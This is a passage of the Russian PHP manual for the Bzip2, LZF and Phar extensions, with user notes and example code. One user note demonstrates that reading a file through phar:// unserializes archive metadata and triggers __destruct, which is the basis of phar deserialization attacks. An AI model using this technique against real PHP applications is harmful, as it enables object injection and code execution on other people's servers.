// выводим всё, до конца файла (или следующие 1024 символа) и закрываем его.
echo bzread($bz);

bzclose($bz);

?>

User Contributed Notes

There are no user contributed notes for this page.


Функции Bzip2

Содержание

  • bzclose — Закрывает файл bzip2
  • bzcompress — Сжимает строку с использованием bzip2
  • bzdecompress — Распаковывает данные, сжатые с использованием bzip2
  • bzerrno — Возвращает код ошибки работы с bzip2
  • bzerror — Возвращает код и строку ошибки работы с bzip2 в виде массива
  • bzerrstr — Возвращает строку ошибки работы с bzip2
  • bzflush — Ничего не делает
  • bzopen — Открывает файл, сжатый с использованием bzip2
  • bzread — Бинарно-безопасное чтение файла bzip2
  • bzwrite — Бинарно-безопасная запись bzip2 файла

User Contributed Notes

salsi at icosaedro dot it 01-Jan-2016 06:22
<?php
/*
 * Reading a BZIP2 file can be tricky, and I never seen a complete example of
 * code that account for any possible failure that may happen accessing a file
 * in general, and decoding compressed data in this specific case.
 * The example that follows is my attempt to address this gap.
 * Some things that worth noting are:
 * - Encoding/decoding errors must be detected with bzerrno().
 * - bzopen() may fail returning FALSE if the file cannot be created or read,
 *   but succeeds also if the file is not properly encoded.
 * - bzread() may fail returning FALSE if it fails reading from the source, but
 *   it returns the empty string on end of file and on encoding error.
 * - bzread() may still return corrupted data with no error whatsoever until the
 *   BZIP2 algo encounters the first hash code, so data retrieved cannot be
 *   trusted until the very end of the file has been reached.
 */

// Safety first:
error_reporting(-1);
// On error, set $php_errormsg:
ini_set("track_errors", "1");

/**
 * Reads and displays on stdout the content of a BZIP2 compressed file with
 * full error detection.
 * @param string $fn Filename.
 * @return void
 */
function displaysBZIP2File($fn)
{
    echo "Reading $fn:\n";
    $bz = @bzopen($fn, "r");
    if( $bz === FALSE ){
        echo "ERROR: bzopen() failed: $php_errormsg\n";
        return;
    }
    $errno = bzerrno($bz);
    if( $errno != 0 ){
        // May detect "DATA_ERROR_MAGIC" (not a BZIP2 file), or "DATA_ERROR"
        // (BZIP2 decoding error) and maybe others BZIP2 errors too.
        echo "ERROR: bzopen(): BZIP2 decoding failed: ", bzerrstr($bz), "\n";
        @bzclose($bz);
        return;
    }
    while(! feof($bz) ) {
        $s = bzread($bz, 100);
        if( $s === FALSE ){
            echo "ERROR: bzread() failed: $php_errormsg\n";
            @bzclose($bz);
            return;
        }
        $errno = bzerrno($bz);
        if( $errno != 0 ){
            // May detect "DATA_ERROR" (BZIP2 decoding error) and maybe others
            // BZIP2 errors too.
            echo "ERROR: bzread(): BZIP2 decoding failed: ", bzerrstr($bz), "\n";
            @bzclose($bz);
            return;
        }
        echo "read: ", var_export($s, true), "\n";
    }
    if( ! bzclose($bz) ){
        echo "ERROR: bzclose() failed: $php_errormsg\n";
    }
}

// Target file:
$fn = "test.bz2";

// Test 1: writes and read a good BZIP2 file:
file_put_contents($fn, bzcompress("Content of the file."));
displaysBZIP2File($fn); // works ok.

// Test 2: invalid content, not a BZIP2 file:
file_put_contents($fn, "This ia plain text file, no compression at all!");
displaysBZIP2File($fn); // ERROR: bzread(): BZIP2 decoding failed: DATA_ERROR_MAGIC

// Test 3: creates a corrupted BZIP2 file:
$plain = str_repeat("Quite random string. ", 1000);
$compressed = bzcompress($plain);
$compressed_corrupted = $compressed;
$compressed_corrupted[(int)(strlen($compressed)/2)] = 'X'; // put random char in middle
file_put_contents($fn, $compressed_corrupted);
displaysBZIP2File($fn);
// Only after some Kbytes of garbage, it tells:
// ERROR: bzread(): BZIP2 decoding failed: DATA_ERROR

// Safe coding against headache, ever.
?>
ec10 at gmx dot net 20-May-2004 11:34
<?php
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc compressing the file with the bzip2-extension
*/
function bzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    $out_file = bzopen ($out, "wb");

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
         bzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    bzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the bzip2-extension
*/
function bunzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = bzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while ($buffer = bzread ($in_file, 4096)) {
        fwrite ($out_file, $buffer, 4096);
    }

    bzclose ($in_file);
    fclose ($out_file);

    return true;
}
?>


Закрывает файл bzip2

  • « Функции Bzip2
  • bzcompress »
  • PHP Manual
  • Функции Bzip2
  • Закрывает файл bzip2

bzclose

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzclose — Закрывает файл bzip2

Описание

bzclose(resource $bz): bool

Закрывает переданный указатель на файл bzip2.

Список параметров

bz

Указатель на файл. Должен быть корректным и указывать на файл, успешно открытый bzopen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • bzopen() - Открывает файл, сжатый с использованием bzip2

User Contributed Notes

There are no user contributed notes for this page.


Сжимает строку с использованием bzip2

  • « bzclose
  • bzdecompress »
  • PHP Manual
  • Функции Bzip2
  • Сжимает строку с использованием bzip2

bzcompress

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzcompress — Сжимает строку с использованием bzip2

Описание

bzcompress(string $data, int $block_size = 4, int $work_factor = 0): string|int

bzcompress() сжимает переданную строку и возвращает её в виде закодированных данных bzip2.

Список параметров

data

Сжимаемая строка.

block_size

Определяет размера блока, используемый при сжатии, должен быть числом в диапазоне от 1 до 9, где 9 даст наилучшее, но более ресурсоёмкое сжатие.

work_factor

Контролирует поведение фазы компрессии в худшем случае, когда входные данные являются часто повторяющимися. Параметр может принимать значения между 0 и 250, где 0 означает специальный случай.

Генерируемый результат не зависит от параметра work_factor и является одним и тем же.

Возвращаемые значения

Сжатая строка или код ошибки в случае неудачного завершения работы.

Примеры

Пример #1 Сжатие данных

<?php
$str = "sample data";
$bzstr = bzcompress($str, 9);
echo $bzstr;
?>

Смотрите также

  • bzdecompress() - Распаковывает данные, сжатые с использованием bzip2

User Contributed Notes

uprz23 at gmail dot com 24-Jun-2010 12:52
Comparing gzcompress/gzuncompress and bzcompress/bzdecompress, the bz combo is about 5x slower than gz.
diego a messenger do dsemmler do de 24-Apr-2009 03:01
The blocksize parameter tells bzip to use 100 000 Byte * blocksize blocks to compress the string. In the example above we can see the output size and time needed of bz[2] to bz[9] are nearly the same, because there ware just 189 058 Byte of data to compress and in this case bz[2] to bz[9] means "compress all data et once".
So we may notice a bigger difference in speed and compression rate with bigger files.

the workfactor parameter sets, how fast bzip switches in the slower fallback algorithm, if the standard algorithm gets problems with much repetitive data. 0 means, bzip uses the default value of 30. This option is recommend.

For more information about the parameter look at http://www.bzip.org/1.0.3/html/low-level.html#bzcompress-init


Распаковывает данные, сжатые с использованием bzip2

  • « bzcompress
  • bzerrno »
  • PHP Manual
  • Функции Bzip2
  • Распаковывает данные, сжатые с использованием bzip2

bzdecompress

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzdecompress — Распаковывает данные, сжатые с использованием bzip2

Описание

bzdecompress(string $data, bool $use_less_memory = false): string|int|false

bzdecompress() распаковывает переданную строку, содержащую сжатые bzip2 данные.

Список параметров

data

Распаковываемая строка.

use_less_memory

Если true, то будет использован альтернативный алгоритм распаковки, использующий меньше памяти (максимально требуемая память находится в районе 2300K), но работает приблизительно вдвое медленнее.

Смотрите » документацию по bzip2 для более подробной информации об этой возможности.

Возвращаемые значения

Распакованная строка или false или код ошибки в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Тип use_less_memory изменён с int на bool. Ранее значением по умолчанию был 0.

Примеры

Пример #1 Распаковка строки

<?php
$start_str = "This is not an honest face?";
$bzstr = bzcompress($start_str);

echo "Compressed String: ";
echo $bzstr;
echo "\n<br />\n";

$str = bzdecompress($bzstr);
echo "Decompressed String: ";
echo $str;
echo "\n<br />\n";
?>

Смотрите также

  • bzcompress() - Сжимает строку с использованием bzip2

User Contributed Notes

balint * atres / ath / cx 10-Jan-2006 05:02
I spent a while to sort out some integer results of the bzdecompress, so maybe it'll be useful for somebody else also...
(Constants from the sources.)

#define BZ_OK                0
#define BZ_RUN_OK            1
#define BZ_FLUSH_OK          2
#define BZ_FINISH_OK         3
#define BZ_STREAM_END        4
#define BZ_SEQUENCE_ERROR    (-1)
#define BZ_PARAM_ERROR       (-2)
#define BZ_MEM_ERROR         (-3)
#define BZ_DATA_ERROR        (-4)
#define BZ_DATA_ERROR_MAGIC  (-5)
#define BZ_IO_ERROR          (-6)
#define BZ_UNEXPECTED_EOF    (-7)
#define BZ_OUTBUFF_FULL      (-8)
#define BZ_CONFIG_ERROR      (-9)


Возвращает код ошибки работы с bzip2

  • « bzdecompress
  • bzerror »
  • PHP Manual
  • Функции Bzip2
  • Возвращает код ошибки работы с bzip2

bzerrno

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerrno — Возвращает код ошибки работы с bzip2

Описание

bzerrno(resource $bz): int

Возвращает код любой bzip2 ошибки, произошедшей с переданным указателем на файл.

Список параметров

bz

Указатель на файл. Должен быть корректным и указывать на файл, успешный открытый bzopen().

Возвращаемые значения

Возвращает код ошибки в виде целого числа.

Смотрите также

  • bzerror() - Возвращает код и строку ошибки работы с bzip2 в виде массива
  • bzerrstr() - Возвращает строку ошибки работы с bzip2

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код и строку ошибки работы с bzip2 в виде массива

  • « bzerrno
  • bzerrstr »
  • PHP Manual
  • Функции Bzip2
  • Возвращает код и строку ошибки работы с bzip2 в виде массива

bzerror

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerror — Возвращает код и строку ошибки работы с bzip2 в виде массива

Описание

bzerror(resource $bz): array

Возвращает ассоциативный массив с кодом и строкой ошибки, произошедшей с переданным файловым указателем.

Список параметров

bz

Файловый указатель. Должен быть корректным и указывать на файл, успешно открытый bzopen().

Возвращаемые значения

Возвращает ассоциативный массив с кодом ошибки с ключом errno, и строкой ошибки с ключом errstr.

Примеры

Пример #1 Пример использования bzerror()

<?php
$error = bzerror($bz);

echo $error["errno"];
echo $error["errstr"];
?>

Смотрите также

  • bzerrno() - Возвращает код ошибки работы с bzip2
  • bzerrstr() - Возвращает строку ошибки работы с bzip2

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку ошибки работы с bzip2

  • « bzerror
  • bzflush »
  • PHP Manual
  • Функции Bzip2
  • Возвращает строку ошибки работы с bzip2

bzerrstr

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerrstr — Возвращает строку ошибки работы с bzip2

Описание

bzerrstr(resource $bz): string

Возвращает строку с ошибкой bzip2, произошедшей с переданным указателем на файл.

Список параметров

bz

Указатель на файл. Должен быть корректным и указывать на файл, успешно открытый bzopen().

Возвращаемые значения

Возвращает строку, содержащую сообщение об ошибке.

Смотрите также

  • bzerrno() - Возвращает код ошибки работы с bzip2
  • bzerror() - Возвращает код и строку ошибки работы с bzip2 в виде массива

User Contributed Notes

There are no user contributed notes for this page.


Ничего не делает

  • « bzerrstr
  • bzopen »
  • PHP Manual
  • Функции Bzip2
  • Ничего не делает

bzflush

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzflush — Ничего не делает

Описание

bzflush(resource $bz): bool

Функция должна принудительно записывать все буферизованные данные bzip2 в файл, на который ссылается указатель bz, но в libbz2 реализована как нулевая функция и поэтому ничего не делает.

Список параметров

bz

Указатель на файл. Должен быть корректным и указывать на файл, успешно открытый bzopen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • bzread() - Бинарно-безопасное чтение файла bzip2
  • bzwrite() - Бинарно-безопасная запись bzip2 файла

User Contributed Notes

There are no user contributed notes for this page.


Открывает файл, сжатый с использованием bzip2

  • « bzflush
  • bzread »
  • PHP Manual
  • Функции Bzip2
  • Открывает файл, сжатый с использованием bzip2

bzopen

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzopen — Открывает файл, сжатый с использованием bzip2

Описание

bzopen(string|resource $file, string $mode): resource|false

bzopen() открывает bzip2 (.bz2) файл для чтения либо записи.

Список параметров

file

Имя открываемого файла, или существующий ресурс потока.

mode

Поддерживаются только 'r' (чтение) и 'w' (запись). Все остальное заставит bzopen() вернуть false.

Возвращаемые значения

bzopen() возвращается указатель на открытый файл, либо false, если файл открыть не удалось.

Примеры

Пример #1 Пример использования bzopen()

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Не могу открыть $file для чтения");

bzclose($bz);

?>

Смотрите также

  • bzclose() - Закрывает файл bzip2

User Contributed Notes

KrazyBox 30-Dec-2008 05:44
In some circumstances, you may want to send a bzip2 stream to the client.

To do this, you need only do:

<?php
ob_flush();
$bz = bzopen('php://stdout', 'w');
bzwrite($bz, 'some input here');
bzclose($bz);
?>

However, please note, because you are using STDOUT, you need to ob_flush() before actually writing to the stream. Otherwise, you might be sending data before the headers, which will cause errors on both server and client ends, in most cases.

You might be able to use php://output rather than php://stdout, however in my tests (with Linux), php://output doesn't actually work - at all.
Jille at quis dot cx dot spam dot to dot my dot devnull 19-Mar-2008 01:11
Warning!

the example show above is _not_ working in every case!
This example will continue reading until there is no more data:

<?PHP
      $bz=bzopen('foo.bz2', 'r');
      $data="";
      do {
        $line=bzread($bz, 8092);
        if($line!==false)
          $data.=$line;
      }
      while($line);
      bzclose($bz);
?>


Бинарно-безопасное чтение файла bzip2

  • « bzopen
  • bzwrite »
  • PHP Manual
  • Функции Bzip2
  • Бинарно-безопасное чтение файла bzip2

bzread

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzread — Бинарно-безопасное чтение файла bzip2

Описание

bzread(resource $bz, int $length = 1024): string|false

bzread() читает из переданного bzip2 файлового указателя.

Чтение останавливается, если было считано length (несжатых) байт или был достигнут конец файла, в зависимости от того, что произойдёт раньше.

Список параметров

bz

Указатель на файл. Должен быть корректным и указывать на файл, успешно открытый bzopen().

length

Если не указан, bzread() будет считывать 1024 (несжатых) байта за один раз. За один раз может быть считано максимум 8192 байта.

Возвращаемые значения

Возвращает распакованные данные либо false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования bzread()

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Невозможно открыть $file");

$decompressed_file = '';
while (!feof($bz)) {
$decompressed_file .= bzread($bz, 4096);
}
bzclose($bz);

echo "Содержимое $file: <br />\n";
echo $decompressed_file;

?>

Смотрите также

  • bzwrite() - Бинарно-безопасная запись bzip2 файла
  • feof() - Проверяет, достигнут ли конец файла
  • bzopen() - Открывает файл, сжатый с использованием bzip2

User Contributed Notes

Anonymous 08-Nov-2015 09:52
The earlier posted code has a small bug in it: it uses bzerror instead of bzerrno. Should be like this:

$fh = bzopen('file.bz2','r');
while(!feof($fh)) {
  $buffer = bzread($fh);
  if($buffer === FALSE) die('Read problem');
  if(bzerrno($fh) !== 0) die('Compression Problem');
}
bzclose($fh);
user@anonymous 15-Apr-2012 07:10
Make sure you check for bzerror while looping through a bzfile. bzread will not detect a compression error and can continue forever even at the cost of 100% cpu.

$fh = bzopen('file.bz2','r');
while(!feof($fh)) {
  $buffer = bzread($fh);
  if($buffer === FALSE) die('Read problem');
  if(bzerror($fh) !== 0) die('Compression Problem');
}
bzclose($fh);


Бинарно-безопасная запись bzip2 файла

  • « bzread
  • LZF »
  • PHP Manual
  • Функции Bzip2
  • Бинарно-безопасная запись bzip2 файла

bzwrite

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzwrite — Бинарно-безопасная запись bzip2 файла

Описание

bzwrite(resource $bz, string $data, ?int $length = null): int|false

bzwrite() записывает строку в переданный bzip2 файловый поток.

Список параметров

bz

Указатель на файл. Должен быть корректным и указывать на файл, успешно открытый bzopen().

data

Записываемые данные.

length

Если указан, запись остановится после length (несжатых) записанных байт, либо если был достигнут конец data, в зависимости от того, что произойдёт первым.

Возвращаемые значения

Возвращает количество записанных байт или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null.

Примеры

Пример #1 Пример использования bzwrite()

<?php
$str = "uncompressed data";
$bz = bzopen("/tmp/foo.bz2", "w");
bzwrite($bz, $str, strlen($str));
bzclose($bz);
?>

Смотрите также

  • bzread() - Бинарно-безопасное чтение файла bzip2
  • bzopen() - Открывает файл, сжатый с использованием bzip2

User Contributed Notes

There are no user contributed notes for this page.


LZF

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции LZF
    • lzf_compress — Сжатие LZF
    • lzf_decompress — Разархивация LZF
    • lzf_optimized_for — Определяет режим оптимизации модуля LZF

User Contributed Notes

There are no user contributed notes for this page.


Введение

LZF - это очень быстрый алгоритм сжатия, идеальный для экономии места при крайне низких временных затратах. Он может быть оптимизирован под скорость или под эффективность сжатия на моменте компиляции. Этот модуль использует библиотеку » liblzf, созданную для своих целей Марком Лейманом.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP. Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/lzf.

Для использования данного модуля необходимо скомпилировать PHP с поддержкой lzf, используя ключ конфигурации --with-lzf[=DIR]. Также вы можете указать ключ --enable-lzf-better-compression для оптимизации LZF для лучшего сжатия в ущерб скорости работы.

Пользователи Windows должны разрешить php_lzf.dll в php.ini. DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Функции LZF

Содержание

  • lzf_compress — Сжатие LZF
  • lzf_decompress — Разархивация LZF
  • lzf_optimized_for — Определяет режим оптимизации модуля LZF

User Contributed Notes

grenier at cgsecurity dot org 06-Sep-2005 01:39
To install lzf, you can use

gunzip lzf-xxx.tgz
tar -xvf lzf-xxx.tar
cd lzf-xxx
phpize
./configure && make && make install


Сжатие LZF

  • « Функции LZF
  • lzf_decompress »
  • PHP Manual
  • Функции LZF
  • Сжатие LZF

lzf_compress

(PECL lzf >= 0.1.0)

lzf_compress — Сжатие LZF

Описание

lzf_compress(string $data): string

lzf_compress() сжимает строку данных data используя алгоритм LZF.

Список параметров

data

Строка для сжатия.

Возвращаемые значения

Возвращает сжатые данные или false в случае возникновения ошибки.

Смотрите также

  • lzf_decompress() - Разархивация LZF

User Contributed Notes

There are no user contributed notes for this page.


Разархивация LZF

  • « lzf_compress
  • lzf_optimized_for »
  • PHP Manual
  • Функции LZF
  • Разархивация LZF

lzf_decompress

(PECL lzf >= 0.1.0)

lzf_decompress — Разархивация LZF

Описание

lzf_decompress(string $data): string

lzf_compress() разархивирует строку data, содержащую данные сжатые алгоритмом lzf.

Список параметров

data

Строка со сжатыми данными.

Возвращаемые значения

Возвращает разархивированные данные или false в случае возникновения ошибки.

Смотрите также

  • lzf_compress() - Сжатие LZF

User Contributed Notes

There are no user contributed notes for this page.


Определяет режим оптимизации модуля LZF

  • « lzf_decompress
  • Phar »
  • PHP Manual
  • Функции LZF
  • Определяет режим оптимизации модуля LZF

lzf_optimized_for

(PECL lzf >= 1.0.0)

lzf_optimized_for — Определяет режим оптимизации модуля LZF

Описание

lzf_optimized_for(): int

Определяет, с какими настройками оптимизации скомпилирован модуль LZF.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает 1, если LZF оптимизирован под скорость работы и 0, если под эффективность сжатия.

User Contributed Notes

There are no user contributed notes for this page.


Phar

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Использование Phar-архивов
    • Использование Phar-архивов: Введение
    • Использование Phar-архивов: обёртка потока phar
    • Использование Phar-архивов: классы Phar и PharData
  • Создание Phar-архивов
    • Создание Phar-архивов: Введение
  • Чем отличается phar от tar- или zip-архива?
    • Составные части всех Phar-архивов вне зависимости от формата файла
    • Заглушка Phar-файла
    • Сравнение Phar, Tar и Zip
    • Phar-архивы, основанные на tar
    • Phar-архивы, основанные на zip
    • Формат файла phar
    • Флаги глобальной битовой карты Phar
    • Описание записи файла в манифесте Phar
    • Формат подписи Phar
  • Phar — Класс Phar
    • Phar::addEmptyDir — Добавляет в phar-архив пустую директорию
    • Phar::addFile — Добавляет в phar-архив файл из файловой системы
    • Phar::addFromString — Добавляет в phar-архив файл из строки
    • Phar::apiVersion — Возвращает версию API
    • Phar::buildFromDirectory — Создаёт phar-архив из файлов, расположенных внутри директории
    • Phar::buildFromIterator — Создаёт phar-архив из итератора
    • Phar::canCompress — Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
    • Phar::canWrite — Проверяет, поддерживает ли модуль phar сохранение и создание phar-архивов
    • Phar::compress — Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
    • Phar::compressFiles — Сжимает все файлы в текущем Phar-архиве
    • Phar::__construct — Создаёт объект Phar-архива
    • Phar::convertToData — Конвертирует phar-архив в неисполняемый tar- или zip-файл
    • Phar::convertToExecutable — Конвертирует phar-архив в другой исполняемый формат файла
    • Phar::copy — Копирует один файл внутри phar-архива в другой новый файл внутри phar-архива
    • Phar::count — Возвращает количество записей (файлов) в Phar-архиве
    • Phar::createDefaultStub — Создать заглушку в формате phar-архива
    • Phar::decompress — Распаковывает весь Phar-архив
    • Phar::decompressFiles — Распаковывает все файлы в текущем Phar-архиве
    • Phar::delMetadata — Удалить глобальные метаданные в архиве phar
    • Phar::delete — Удаляет файл внутри phar-архива
    • Phar::__destruct — Уничтожает объект архива Phar
    • Phar::extractTo — Извлечь содержимое phar-архива в директорию
    • Phar::getAlias — Получить псевдоним для Phar
    • Phar::getMetadata — Извлечь метаданные phar-архива
    • Phar::getModified — Определить, изменялся phar-архив
    • Phar::getPath — Получить реальный путь к Phar-архиву на диске
    • Phar::getSignature — Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива
    • Phar::getStub — Получить загрузчик PHP или загрузчик заглушки Phar-архива
    • Phar::getSupportedCompression — Возвращает массив поддерживаемых алгоритмов сжатия
    • Phar::getSupportedSignatures — Получить массив поддерживаемых алгоритмов подписи архива
    • Phar::getVersion — Получить версию Phar-архива
    • Phar::hasMetadata — Проверить, содержит ли phar-архив глобальные метаданные
    • Phar::interceptFileFuncs — Указывает phar перехватывать fopen, file_get_contents, opendir и все stat-функции
    • Phar::isBuffering — Проверить, будут ли операции с Phar-архивом буферизованы или записаны напрямую на диск
    • Phar::isCompressed — Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
    • Phar::isFileFormat — Проверить, что phar-архив имеет заданный формат (tar/phar/zip)
    • Phar::isValidPharFilename — Проверяет, что заданное имя файла является корректным именем phar-архива
    • Phar::isWritable — Проверяет, можно ли модифицировать phar-архив
    • Phar::loadPhar — Загрузить phar-архив с псевдонимом
    • Phar::mapPhar — Прочитать текущий запущенный phar-архив и зарегистрировать его манифест
    • Phar::mount — Монтирование внешнего путь или файла к виртуальному пути в phar-архиве
    • Phar::mungServer — Определить список до четырёх $_SERVER-переменных, которые должны быть изменены для запуска
    • Phar::offsetExists — Определить, есть ли файл в архиве
    • Phar::offsetGet — Получить объект PharFileInfo для конкретного файла
    • Phar::offsetSet — Изменение содержимого файла
    • Phar::offsetUnset — Удалить файл из phar-архива
    • Phar::running — Получить полный путь на диске, либо полный URL запущенного Phar-архива
    • Phar::setAlias — Установить псевдоним для Phar-архива
    • Phar::setDefaultStub — Установить загрузчик PHP или начальную заглушку Phar-архива в загрузчик по умолчанию
    • Phar::setMetadata — Установить метаданные phar-архива
    • Phar::setSignatureAlgorithm — Установить алгоритм подписания phar-архива и применение его
    • Phar::setStub — Установить загрузчик или загрузочную заглушку в Phar-архив
    • Phar::startBuffering — Запускает буферизацию операций записи, отключая запись изменений Phar-архива на диск
    • Phar::stopBuffering — Останавливает буферизацию и записывает все изменения на диск
    • Phar::unlinkArchive — Полностью удалить архив из памяти и с диска
    • Phar::webPhar — Направляет запрос из браузера во внутренний файл в phar-архиве
  • PharData — Класс PharData
    • PharData::addEmptyDir — Добавить пустую директорию в tar/zip-архив
    • PharData::addFile — Добавить существующие файлы к tar/zip-архиву
    • PharData::addFromString — Добавляет файл из строки в архив tar/zip
    • PharData::buildFromDirectory — Создаёт tar/zip-архив из файлов в директории
    • PharData::buildFromIterator — Создание tar/zip-архива с помощью итератора
    • PharData::compress — Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
    • PharData::compressFiles — Сжать все файлы в текущем tar/zip-архиве
    • PharData::__construct — Конструктор объекта PharData
    • PharData::convertToData — Конвертация phar-архива в незапускаемый tar/zip-архив
    • PharData::convertToExecutable — Конвертация tar/zip-архива с данными в запускаемый phar-архив
    • PharData::copy — Скопировать файл из tar/zip-архива в новый файл внутри него же
    • PharData::decompress — Распаковать весь Phar-архив
    • PharData::decompressFiles — Распаковать все файлы в текущем zip-архиве
    • PharData::delMetadata — Удалить глобальные метаданные для zip-архива
    • PharData::delete — Удалить файл из tar/zip-архива
    • PharData::__destruct — Уничтожает неисполняемый объект архива tar или zip
    • PharData::extractTo — Извлечь содержимое tar/zip-архива в директорию
    • PharData::isWritable — Проверить, можно ли модифицировать tar/zip-архив
    • PharData::offsetSet — Изменение содержимого файла
    • PharData::offsetUnset — Удалить файл из tar/zip-архива
    • PharData::setAlias — Функция заглушка (Phar::setAlias нельзя использовать для PharData)
    • PharData::setDefaultStub — Функция заглушка (Phar::setDefaultStub нельзя использовать для PharData)
    • PharData::setMetadata — Установить метаданные phar-архива
    • PharData::setSignatureAlgorithm — Установить алгоритм подписания phar-архива и применение его
    • PharData::setStub — Функция заглушка (Phar::setStub нельзя использовать для PharData)
  • PharFileInfo — Класс PharFileInfo
    • PharFileInfo::chmod — Установка прав доступа
    • PharFileInfo::compress — Сжать текущий файл с помощью zlib или bzip2
    • PharFileInfo::__construct — Конструктор объекта PharFileInfo
    • PharFileInfo::decompress — Разжимает текущий файл
    • PharFileInfo::delMetadata — Удалить метаданные файла
    • PharFileInfo::__destruct — Уничтожает входной объект Phar
    • PharFileInfo::getCRC32 — Получить контрольную сумму CRC32
    • PharFileInfo::getCompressedSize — Получить реальный занимаемый файлом размер на диске с учётом сжатия
    • PharFileInfo::getContent — Получить полное содержимое файла записи
    • PharFileInfo::getMetadata — Получить метаданные, связанные с файлом
    • PharFileInfo::getPharFlags — Получить флаги файла в phar-архиве
    • PharFileInfo::hasMetadata — Проверить, есть ли у файла метаданные
    • PharFileInfo::isCRCChecked — Определить, прошёл ли файл проверку CRC
    • PharFileInfo::isCompressed — Проверить, сжат ли файл
    • PharFileInfo::setMetadata — Установка метаданных для конкретного файла
  • PharException — Класс PharException

User Contributed Notes

lemonkid from OpenToAll 12-Sep-2018 06:39
when read via phar://, stream will unserialize object including phar file

Use this to create phar
<?php
// create new Phar
$phar = new Phar('lemon.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'Chanh';
$phar->setMetadata($object);
$phar->stopBuffering();
?>

and read it by:
<?php
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: Chanh
file_get_contents('phar://test.phar');
?>
bawe_a at yahoo dot com 24-Mar-2018 02:06
<?php
  include 'phar://ArPHP.phar/Arabic.php';
  $obj = new I18N_Arabic('Numbers');

  echo $obj->int2str(1975);
?>
brunoczim 05-Jul-2017 01:24
Here is a very simple program for creating phar files with CLI. Note that it requires phar.readonly in php.ini  set to false (Off).

<?php
$filename = "default";
$dir = "./";
$regex = "/^(?!.*build\\.php)(?:.*)$/";
$main = "main.php";
$shebang = "#!/usr/bin/env php";
$chmod = true;

for ($i = 0; $i < $argc; $i++) {
    switch ($argv[$i]) {
        case "-o":
            $i++;
            if ($i >= $argc) {
                echo "Missing output file name" . PHP_EOL;
                exit(1);
            }
            $filename = $argv[$i];
            break;
        case "-i":
            $i++;
            if ($i >= $argc) {
                echo "Missing input directory name" . PHP_EOL;
                exit(1);
            }
            $dir = $argv[$i];
            break;
        case "-p":
            $i++;
            if ($i >= $argc) {
                echo "Missing regular expression pattern" . PHP_EOL;
                exit(1);
            }
            $regex = $argv[$i];
            break;
        case "-m":
            $i++;
            if ($i >= $argc) {
                echo "Missing main file" . PHP_EOL;
                exit(1);
            }
            $main = $argv[$i];
            break;
        case "-b":
            $i++;
            if ($i >= $argc) {
                echo "Missing shebang of file" . PHP_EOL;
                exit(1);
            }
            $shebang = $argv[$i];
            break;
        case "--no-chmod":
            $chmod = false;
            break;
    }
}
if (file_exists($filename)) unlink($filename);
$phar = new Phar($filename);
$phar->buildFromDirectory($dir, $regex);
$phar->setStub(($shebang ? $shebang . PHP_EOL : "") . $phar->createDefaultStub($main));
if ($chmod) {
    chmod($filename, fileperms($phar) | 0700);
}
t dot habenreich at web dot de 16-Dec-2013 08:38
Here is a very simple class to build a phar file from a given source directory. You can use this for your own project and simple deployment.

But my main goal was to show how to use PHAR functions in a simple way.

<?php

class BuildPhar
{
  private $_sourceDirectory = null;
  private $_stubFile        = null;
  private $_outputDirectory = null;
  private $_pharFileName    = null;

  /**
